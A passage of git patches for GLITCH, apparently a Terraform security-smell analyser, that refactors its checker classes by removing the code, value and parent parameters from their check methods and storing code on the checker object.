if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): @@ -26,6 +26,6 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for policy in SecurityVisitor._SSL_TLS_POLICY: if (element.name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and not element.has_variable - and elem_value.lower() not in policy['values']): + and element.value.lower() not in policy['values']): return [Error('sec_ssl_tls_policy', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py index 66ce3930..29226cf2 100644 --- a/glitch/analysis/terraform/threats_detection.py +++ b/glitch/analysis/terraform/threats_detection.py @@ -5,7 +5,7 @@ class TerraformThreatsDetection(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: @@ -22,9 +22,9 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + if ("any_not_empty" in config['values'] and element.value.lower() == ""): return [Error('sec_threats_detection_alerts', element, file, repr(element))] elif ("any_not_empty" not in config['values'] and not element.has_variable and - elem_value.lower() not in config['values']): + element.value.lower() not in config['values']): return [Error('sec_threats_detection_alerts', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/versioning.py b/glitch/analysis/terraform/versioning.py index c96bfbc2..673baa96 100644 --- a/glitch/analysis/terraform/versioning.py +++ b/glitch/analysis/terraform/versioning.py @@ -5,7 +5,7 @@ class TerraformVersioning(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._VERSIONING: @@ -17,6 +17,6 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, for config in SecurityVisitor._VERSIONING: if (element.name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] - and not element.has_variable and elem_value.lower() not in config['values']): + and not element.has_variable and element.value.lower() not in config['values']): return [Error('sec_versioning', element, file, repr(element))] return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/weak_password_key_policy.py b/glitch/analysis/terraform/weak_password_key_policy.py index b2617cd0..0d192523 100644 --- a/glitch/analysis/terraform/weak_password_key_policy.py +++ b/glitch/analysis/terraform/weak_password_key_policy.py @@ -5,7 +5,7 @@ class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str, code, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._PASSWORD_KEY_POLICY: @@ -19,18 +19,18 @@ def check(self, element, file: str, code, elem_value: str = "", au_type = None, if (element.name == policy['attribute'] and au_type in policy['au_type'] and parent_name in policy['parents'] and policy['values'] != [""]): if (policy['logic'] == "equal"): - if ("any_not_empty" in policy['values'] and elem_value.lower() == ""): + if ("any_not_empty" in policy['values'] and element.value.lower() == ""): return [Error('sec_weak_password_key_policy', element, file, repr(element))] elif ("any_not_empty" not in policy['values'] and not element.has_variable and - elem_value.lower() not in policy['values']): + element.value.lower() not in policy['values']): return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ((policy['logic'] == "gte" and not elem_value.isnumeric()) or - (policy['logic'] == "gte" and elem_value.isnumeric() - and int(elem_value) < int(policy['values'][0]))): + elif ((policy['logic'] == "gte" and not element.value.isnumeric()) or + (policy['logic'] == "gte" and element.value.isnumeric() + and int(element.value) < int(policy['values'][0]))): return [Error('sec_weak_password_key_policy', element, file, repr(element))] - elif ((policy['logic'] == "lte" and not elem_value.isnumeric()) or - (policy['logic'] == "lte" and elem_value.isnumeric() - and int(elem_value) > int(policy['values'][0]))): + elif ((policy['logic'] == "lte" and not element.value.isnumeric()) or + (policy['logic'] == "lte" and element.value.isnumeric() + and int(element.value) > int(policy['values'][0]))): return [Error('sec_weak_password_key_policy', element, file, repr(element))] return errors \ No newline at end of file From ce20d4f931f8ce849758f23fa41c871b681dbcba Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Fri, 15 Mar 2024 16:53:35 +0000 Subject: [PATCH 55/58] remove code attribute --- glitch/analysis/rules.py | 3 +++ glitch/analysis/security.py | 6 ++++-- glitch/analysis/terraform/access_control.py | 4 ++-- glitch/analysis/terraform/attached_resource.py | 4 ++-- glitch/analysis/terraform/authentication.py | 4 ++-- glitch/analysis/terraform/dns_policy.py | 2 +- .../analysis/terraform/firewall_misconfig.py | 2 +- glitch/analysis/terraform/http_without_tls.py | 4 ++-- glitch/analysis/terraform/integrity_policy.py | 2 +- glitch/analysis/terraform/key_management.py | 4 ++-- glitch/analysis/terraform/logging.py | 18 +++++++++--------- .../analysis/terraform/missing_encryption.py | 4 ++-- glitch/analysis/terraform/naming.py | 2 +- glitch/analysis/terraform/network_policy.py | 2 +- .../terraform/permission_iam_policies.py | 4 ++-- glitch/analysis/terraform/public_ip.py | 2 +- glitch/analysis/terraform/replication.py | 4 ++-- .../analysis/terraform/sensitive_iam_action.py | 2 +- glitch/analysis/terraform/smell_checker.py | 14 ++++++++------ glitch/analysis/terraform/ssl_tls_policy.py | 2 +- glitch/analysis/terraform/threats_detection.py | 2 +- glitch/analysis/terraform/versioning.py | 2 +- .../terraform/weak_password_key_policy.py | 2 +- 23 files changed, 51 insertions(+), 44 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 5a0ba415..1fc09717 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -220,6 +220,9 @@ def check_comment(self, c: Comment, file: str) -> list[Error]: Error.agglomerate_errors() class SmellChecker(ABC): + def __init__(self) -> None: + self.code = None + @abstractmethod def check(self, element, file: str) -> list[Error]: pass diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index b1717241..8cc41971 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -147,7 +147,8 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> List[Error]: break for checker in self.checkers: - errors += checker.check(au, file, self.code) + checker.code = self.code + errors += checker.check(au, file) if self.__is_http_url(au.name): errors.append(Error('sec_https', au, file, repr(au))) @@ -294,7 +295,8 @@ def get_module_var(c, name: str): c.value = var.value for checker in self.checkers: - errors += checker.check(c, file, self.code, au_type, parent_name) + checker.code = self.code + errors += checker.check(c, file, au_type, parent_name) return errors diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py index d7d2da20..8200ce63 100644 --- a/glitch/analysis/terraform/access_control.py +++ b/glitch/analysis/terraform/access_control.py @@ -6,7 +6,7 @@ class TerraformAccessControl(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_api_gateway_method"): @@ -41,7 +41,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): elif (element.type == "resource.aws_s3_bucket"): expr = "\${aws_s3_bucket\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): + if self.get_associated_au(file, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]) is None: errors.append(Error('sec_access_control', element, file, repr(element), f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + f"associated to an 'aws_s3_bucket' resource.")) diff --git a/glitch/analysis/terraform/attached_resource.py b/glitch/analysis/terraform/attached_resource.py index 67ea636a..59357ac6 100644 --- a/glitch/analysis/terraform/attached_resource.py +++ b/glitch/analysis/terraform/attached_resource.py @@ -5,7 +5,7 @@ class TerraformAttachedResource(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): def check_attached_resource(attributes, resource_types): @@ -15,7 +15,7 @@ def check_attached_resource(attributes, resource_types): if (f"{a.value}".lower().startswith("${" + f"{resource_type}.") or f"{a.value}".lower().startswith(f"{resource_type}.")): resource_name = a.value.lower().split(".")[1] - if self.get_au(code, file, resource_name, f"resource.{resource_type}"): + if self.get_au(file, resource_name, f"resource.{resource_type}"): return True elif a.value == None: attached = check_attached_resource(a.keyvalues, resource_types) diff --git a/glitch/analysis/terraform/authentication.py b/glitch/analysis/terraform/authentication.py index fd70a8c7..5c1cc1f7 100644 --- a/glitch/analysis/terraform/authentication.py +++ b/glitch/analysis/terraform/authentication.py @@ -6,7 +6,7 @@ class TerraformAuthentication(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.google_sql_database_instance"): @@ -14,7 +14,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): elif (element.type == "resource.aws_iam_group"): expr = "\${aws_iam_group\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.aws_iam_group_policy", "group", pattern, [""]): + if not self.get_associated_au(file, "resource.aws_iam_group_policy", "group", pattern, [""]): errors.append(Error('sec_authentication', element, file, repr(element), f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + f"'aws_iam_group' resource.")) diff --git a/glitch/analysis/terraform/dns_policy.py b/glitch/analysis/terraform/dns_policy.py index 7e1fb390..acd67d2e 100644 --- a/glitch/analysis/terraform/dns_policy.py +++ b/glitch/analysis/terraform/dns_policy.py @@ -5,7 +5,7 @@ class TerraformDnsWithoutDnssec(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._DNSSEC_CONFIGS: diff --git a/glitch/analysis/terraform/firewall_misconfig.py b/glitch/analysis/terraform/firewall_misconfig.py index fdc57d27..136357f7 100644 --- a/glitch/analysis/terraform/firewall_misconfig.py +++ b/glitch/analysis/terraform/firewall_misconfig.py @@ -5,7 +5,7 @@ class TerraformFirewallMisconfig(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._FIREWALL_CONFIGS: diff --git a/glitch/analysis/terraform/http_without_tls.py b/glitch/analysis/terraform/http_without_tls.py index 7a1de358..f61490d8 100644 --- a/glitch/analysis/terraform/http_without_tls.py +++ b/glitch/analysis/terraform/http_without_tls.py @@ -5,7 +5,7 @@ class TerraformHttpWithoutTls(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "data.http"): @@ -25,7 +25,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): type = "resource" resource_type = r.split(".")[0] resource_name = r.split(".")[1] - if self.get_au(code, file, resource_name, type + "." + resource_type): + if self.get_au(file, resource_name, type + "." + resource_type): errors.append(Error('sec_https', url, file, repr(url))) for config in SecurityVisitor._HTTPS_CONFIGS: diff --git a/glitch/analysis/terraform/integrity_policy.py b/glitch/analysis/terraform/integrity_policy.py index 73d9b19d..346723b9 100644 --- a/glitch/analysis/terraform/integrity_policy.py +++ b/glitch/analysis/terraform/integrity_policy.py @@ -5,7 +5,7 @@ class TerraformIntegrityPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._INTEGRITY_POLICY: diff --git a/glitch/analysis/terraform/key_management.py b/glitch/analysis/terraform/key_management.py index bf081bd1..af65c005 100644 --- a/glitch/analysis/terraform/key_management.py +++ b/glitch/analysis/terraform/key_management.py @@ -6,13 +6,13 @@ class TerraformKeyManagement(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_storage_account"): expr = "\${azurerm_storage_account\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", + if not self.get_associated_au(file, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", pattern, [""]): errors.append(Error('sec_key_management', element, file, repr(element), f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index 27ac36f0..473cf187 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -53,7 +53,7 @@ def __check_log_attribute( return errors - def check_azurerm_storage_container(self, element, code, file: str): + def check_azurerm_storage_container(self, element, file: str): errors = [] container_access_type = self.check_required_attribute( @@ -71,7 +71,7 @@ def check_azurerm_storage_container(self, element, code, file: str): return errors name = storage_account_name.value.lower().split('.')[1] - storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") + storage_account_au = self.get_au(file, name, "resource.azurerm_storage_account") if storage_account_au is None: errors.append(Error('sec_logging', element, file, repr(element), f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + @@ -81,7 +81,7 @@ def check_azurerm_storage_container(self, element, code, file: str): expr = "\${azurerm_storage_account\." + f"{name}\." pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", + assoc_au = self.get_associated_au(file, "resource.azurerm_log_analytics_storage_insights", "storage_account_id", pattern, [""]) if assoc_au is None: errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), @@ -108,7 +108,7 @@ def check_azurerm_storage_container(self, element, code, file: str): return errors - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_eks_cluster"): @@ -161,7 +161,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): elif (element.type == "resource.azurerm_mssql_server"): expr = "\${azurerm_mssql_server\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_server_extended_auditing_policy", + assoc_au = self.get_associated_au(file, "resource.azurerm_mssql_server_extended_auditing_policy", "server_id", pattern, [""]) if not assoc_au: errors.append(Error('sec_logging', element, file, repr(element), @@ -170,7 +170,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): elif (element.type == "resource.azurerm_mssql_database"): expr = "\${azurerm_mssql_database\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_mssql_database_extended_auditing_policy", + assoc_au = self.get_associated_au(file, "resource.azurerm_mssql_database_extended_auditing_policy", "database_id", pattern, [""]) if not assoc_au: errors.append(Error('sec_logging', element, file, repr(element), @@ -197,7 +197,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): required_flag = False errors += self.check_database_flags(element, file, 'sec_logging', flag['flag_name'], flag['value'], required_flag) elif (element.type == "resource.azurerm_storage_container"): - errors += self.check_azurerm_storage_container(element, code, file) + errors += self.check_azurerm_storage_container(element, file) elif (element.type == "resource.aws_ecs_cluster"): name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") if name is not None: @@ -214,7 +214,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): elif (element.type == "resource.aws_vpc"): expr = "\${aws_vpc\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.aws_flow_log", + assoc_au = self.get_associated_au(file, "resource.aws_flow_log", "vpc_id", pattern, [""]) if not assoc_au: errors.append(Error('sec_logging', element, file, repr(element), @@ -231,7 +231,7 @@ def check(self, element, file: str, code, au_type = None, parent_name = ""): if (element.name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): if re.match(r"^\${aws_cloudwatch_log_group\..", element.value): aws_cloudwatch_log_group_name = element.value.split('.')[1] - if not self.get_au(code, file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + if not self.get_au(file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): errors.append(Error('sec_logging', element, file, repr(element), f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + f"with name '{aws_cloudwatch_log_group_name}'.")) diff --git a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py index 65c64f69..15b9bb1e 100644 --- a/glitch/analysis/terraform/missing_encryption.py +++ b/glitch/analysis/terraform/missing_encryption.py @@ -6,13 +6,13 @@ class TerraformMissingEncryption(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): expr = "\${aws_s3_bucket\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - r = self.get_associated_au(code, file, "resource.aws_s3_bucket_server_side_encryption_configuration", + r = self.get_associated_au(file, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", pattern, [""]) if not r: errors.append(Error('sec_missing_encryption', element, file, repr(element), diff --git a/glitch/analysis/terraform/naming.py b/glitch/analysis/terraform/naming.py index 37526401..e48297fc 100644 --- a/glitch/analysis/terraform/naming.py +++ b/glitch/analysis/terraform/naming.py @@ -6,7 +6,7 @@ class TerraformNaming(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_security_group"): diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index a0b50c25..0d0b0edc 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -6,7 +6,7 @@ class TerraformNetworkSecurityRules(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_network_security_rule"): diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py index 13fa4f6b..3402efcf 100644 --- a/glitch/analysis/terraform/permission_iam_policies.py +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -6,13 +6,13 @@ class TerraformPermissionIAMPolicies(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_iam_user"): expr = "\${aws_iam_user\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.aws_iam_user_policy", "user", pattern, [""]) + assoc_au = self.get_associated_au(file, "resource.aws_iam_user_policy", "user", pattern, [""]) if assoc_au is not None: a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py index 9bd05527..1e64554a 100644 --- a/glitch/analysis/terraform/public_ip.py +++ b/glitch/analysis/terraform/public_ip.py @@ -5,7 +5,7 @@ class TerraformPublicIp(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._PUBLIC_IP_CONFIGS: diff --git a/glitch/analysis/terraform/replication.py b/glitch/analysis/terraform/replication.py index 06477151..8570c4b2 100644 --- a/glitch/analysis/terraform/replication.py +++ b/glitch/analysis/terraform/replication.py @@ -6,13 +6,13 @@ class TerraformReplication(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): expr = "\${aws_s3_bucket\." + f"{element.name}\." pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.aws_s3_bucket_replication_configuration", + if not self.get_associated_au(file, "resource.aws_s3_bucket_replication_configuration", "bucket", pattern, [""]): errors.append(Error('sec_replication', element, file, repr(element), f"Suggestion: check for a required resource 'aws_s3_bucket_replication_configuration' " + diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index d3b09196..cad8741b 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -5,7 +5,7 @@ class TerraformSensitiveIAMAction(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] def convert_string_to_dict(input_string): diff --git a/glitch/analysis/terraform/smell_checker.py b/glitch/analysis/terraform/smell_checker.py index 95e803e4..06ac0a44 100644 --- a/glitch/analysis/terraform/smell_checker.py +++ b/glitch/analysis/terraform/smell_checker.py @@ -5,15 +5,16 @@ from glitch.analysis.rules import Error, SmellChecker class TerraformSmellChecker(SmellChecker): - def get_au(self, c, file: str, name: str, type: str): + def get_au(self, file: str, name: str, type: str, c = None): + c = self.code if c is None else c if isinstance(c, Project): module_name = os.path.basename(os.path.dirname(file)) for m in c.modules: if m.name == module_name: - return self.get_au(m, file, name, type) + return self.get_au(file, name, type, c = m) elif isinstance(c, Module): for ub in c.blocks: - au = self.get_au(ub, file, name, type) + au = self.get_au(file, name, type, c = ub) if au is not None: return au elif isinstance(c, UnitBlock): @@ -22,15 +23,16 @@ def get_au(self, c, file: str, name: str, type: str): return au return None - def get_associated_au(self, code, file: str, type: str, attribute_name: str , pattern, attribute_parents: list): + def get_associated_au(self, file: str, type: str, attribute_name: str, pattern, attribute_parents: list, code = None): + code = self.code if code is None else code if isinstance(code, Project): module_name = os.path.basename(os.path.dirname(file)) for m in code.modules: if m.name == module_name: - return self.get_associated_au(m, file, type, attribute_name, pattern, attribute_parents) + return self.get_associated_au(file, type, attribute_name, pattern, attribute_parents, code = m) elif isinstance(code, Module): for ub in code.blocks: - au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) + au = self.get_associated_au(file, type, attribute_name, pattern, attribute_parents, code = ub) if au is not None: return au elif isinstance(code, UnitBlock): diff --git a/glitch/analysis/terraform/ssl_tls_policy.py b/glitch/analysis/terraform/ssl_tls_policy.py index e42d56a6..b3052a88 100644 --- a/glitch/analysis/terraform/ssl_tls_policy.py +++ b/glitch/analysis/terraform/ssl_tls_policy.py @@ -5,7 +5,7 @@ class TerraformSslTlsPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py index 29226cf2..f0aa26bf 100644 --- a/glitch/analysis/terraform/threats_detection.py +++ b/glitch/analysis/terraform/threats_detection.py @@ -5,7 +5,7 @@ class TerraformThreatsDetection(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: diff --git a/glitch/analysis/terraform/versioning.py b/glitch/analysis/terraform/versioning.py index 673baa96..3bf5d513 100644 --- a/glitch/analysis/terraform/versioning.py +++ b/glitch/analysis/terraform/versioning.py @@ -5,7 +5,7 @@ class TerraformVersioning(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._VERSIONING: diff --git a/glitch/analysis/terraform/weak_password_key_policy.py b/glitch/analysis/terraform/weak_password_key_policy.py index 0d192523..63402785 100644 --- a/glitch/analysis/terraform/weak_password_key_policy.py +++ b/glitch/analysis/terraform/weak_password_key_policy.py @@ -5,7 +5,7 @@ class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, au_type = None, parent_name = ""): + def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._PASSWORD_KEY_POLICY: From 81b25012a95e557b3ab9b8ef3fe76aa2f3816929 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Mon, 18 Mar 2024 10:59:56 +0000 Subject: [PATCH 56/58] remove parent_name and au_type --- glitch/analysis/security.py | 4 +- glitch/analysis/terraform/access_control.py | 65 +++++++++------- glitch/analysis/terraform/authentication.py | 41 ++++++---- glitch/analysis/terraform/dns_policy.py | 26 ++++--- .../analysis/terraform/firewall_misconfig.py | 31 +++++--- glitch/analysis/terraform/http_without_tls.py | 24 ++++-- glitch/analysis/terraform/integrity_policy.py | 25 +++++-- glitch/analysis/terraform/key_management.py | 57 +++++++------- glitch/analysis/terraform/logging.py | 75 ++++++++++--------- .../analysis/terraform/missing_encryption.py | 56 +++++++------- glitch/analysis/terraform/naming.py | 41 +++++----- glitch/analysis/terraform/network_policy.py | 22 ++++-- .../terraform/permission_iam_policies.py | 39 ++++++---- glitch/analysis/terraform/public_ip.py | 25 ++++--- glitch/analysis/terraform/replication.py | 24 ++++-- glitch/analysis/terraform/ssl_tls_policy.py | 24 ++++-- .../analysis/terraform/threats_detection.py | 31 +++++--- glitch/analysis/terraform/versioning.py | 24 ++++-- .../terraform/weak_password_key_policy.py | 50 ++++++++----- 19 files changed, 413 insertions(+), 271 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 8cc41971..6158d772 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -18,7 +18,7 @@ class SecurityVisitor(RuleVisitor): __URL_REGEX = r"^(http:\/\/www\.|https:\/\/www\.|http:\/\/|https:\/\/)?[a-z0-9]+([_\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/.*)?$" class EmptyChecker(SmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + def check(self, element, file: str): return [] class NonOfficialImageSmell(SmellChecker): @@ -296,7 +296,7 @@ def get_module_var(c, name: str): for checker in self.checkers: checker.code = self.code - errors += checker.check(c, file, au_type, parent_name) + errors += checker.check(c, file) return errors diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py index 8200ce63..f36013fd 100644 --- a/glitch/analysis/terraform/access_control.py +++ b/glitch/analysis/terraform/access_control.py @@ -52,35 +52,42 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_access_control', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == element.name: - for config in SecurityVisitor._POLICY_ACCESS_CONTROL: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - allow_expr = "\"effect\":" + "\s*" + "\"allow\"" - allow_pattern = re.compile(rf"{allow_expr}") - if re.search(pattern, element.value) and re.search(allow_pattern, element.value): - errors.append(Error('sec_access_control', element, file, repr(element))) - break + def check_attribute(attribute, parent_name): + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == attribute.name: + for config in SecurityVisitor._POLICY_ACCESS_CONTROL: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + allow_expr = "\"effect\":" + "\s*" + "\"allow\"" + allow_pattern = re.compile(rf"{allow_expr}") + if re.search(pattern, attribute.value) and re.search(allow_pattern, attribute.value): + errors.append(Error('sec_access_control', attribute, file, repr(attribute))) + break - if (re.search(r"actions\[\d+\]", element.name) and parent_name == "permissions" - and au_type == "resource.azurerm_role_definition" and element.value == "*"): - errors.append(Error('sec_access_control', element, file, repr(element))) - elif (((re.search(r"members\[\d+\]", element.name) and au_type == "resource.google_storage_bucket_iam_binding") - or (element.name == "member" and au_type == "resource.google_storage_bucket_iam_member")) - and (element.value == "allusers" or element.value == "allauthenticatedusers")): - errors.append(Error('sec_access_control', element, file, repr(element))) - elif (element.name == "email" and parent_name == "service_account" - and au_type == "resource.google_compute_instance" - and re.search(r".-compute@developer.gserviceaccount.com", element.value)): - errors.append(Error('sec_access_control', element, file, repr(element))) + if (re.search(r"actions\[\d+\]", attribute.name) and parent_name == "permissions" + and element.type == "resource.azurerm_role_definition" and attribute.value == "*"): + errors.append(Error('sec_access_control', attribute, file, repr(attribute))) + elif (((re.search(r"members\[\d+\]", attribute.name) and element.type == "resource.google_storage_bucket_iam_binding") + or (attribute.name == "member" and element.type == "resource.google_storage_bucket_iam_member")) + and (attribute.value == "allusers" or attribute.value == "allauthenticatedusers")): + errors.append(Error('sec_access_control', attribute, file, repr(attribute))) + elif (attribute.name == "email" and parent_name == "service_account" + and element.type == "resource.google_compute_instance" + and re.search(r".-compute@developer.gserviceaccount.com", attribute.value)): + 